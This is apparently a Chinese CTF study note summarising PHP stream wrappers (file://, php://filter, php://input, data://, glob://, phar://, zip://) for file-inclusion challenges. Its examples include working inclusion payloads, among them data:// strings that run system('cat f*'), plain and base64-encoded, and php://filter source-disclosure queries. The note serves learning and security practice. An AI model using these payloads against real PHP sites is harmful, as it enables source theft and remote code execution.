PHP伪协议总结
P H P 伪 协 议 总 结
平时做ctf题其中文件包含命令执行都有涉及php伪协议的东西,别人总结的总给是别人的,自己总结一波也算在学习一遍。其中还有一些伪协议没用碰到过,遇到了再添加
目录
php伪协议
file://
php://
data://
glob://
phar://
zip://
总览
file://
php://
data://
glob://
phar://
zip://
file://协议
条件:
allow_url_fopen:off/on
allow_url_include :off/on
作用:
用于读取本地文件安且不受allow_url_foopen的影响
只能传入绝对路径(绝对不能使用相对路径 会报错)
用法:
file://[文件的绝对路径和文件名]
php://协议
php://
条件:
allow_url_fopen=off
allow_url_include=off
用法:
php://作用为访问输入输出流
php://filter
例如:
?id=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
说明:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
用法:
php://filter/read=convert.base64-encode/resource=[文件名]
php://input
条件:
allow_url_include=on
当enctype=”multipart/form-data”时,php://input是无效的
用法:
将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
例如:
flag=php://input
data://协议
条件:
Allow_url_fopen:on
Allow_url_include:on
用法:
data://text/plain,
data://text/plain;base64,
例如:
?c=data://text/plain,<?php system('cat f*');?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==是<?php system('cat f*');?>的base64编码
glob://协议
用法:
-查找匹配的文件路径模式
C = $it = new DirectoryIterator("glob://路径*.php");
foreach($it as $f) {
echo$f->getFilename()."\n";
// printf("%s: %.1FK/n", $f->getFilename(), $f->getSize()/1024);
}exit();
phar://协议
条件:
allow_url_fopen:off/on
allow_url_include:off/on
作用:
访问zip格式压缩包内容
用法:
file=phar://[压缩报的相对路径]/xxx.zip/[子文件名]
例如:
file=phar://c:/xxx/xxx/xxx/phpinfo.zip/phpinfo.php
zip://协议
条件:
allow_url_fopen:off/on
allow_url_include:off/on
作用:
访问压缩文件中的子文件,不需要指定后缀名,可修改为任意后缀(jpg.png....)
使用:
zip://[压缩文件绝对路径]%23[压缩文件中的子文件名]
例如:
file=zip://C:\xxx\xxx\xxx\phpinfo.jpg%23phpinfo.php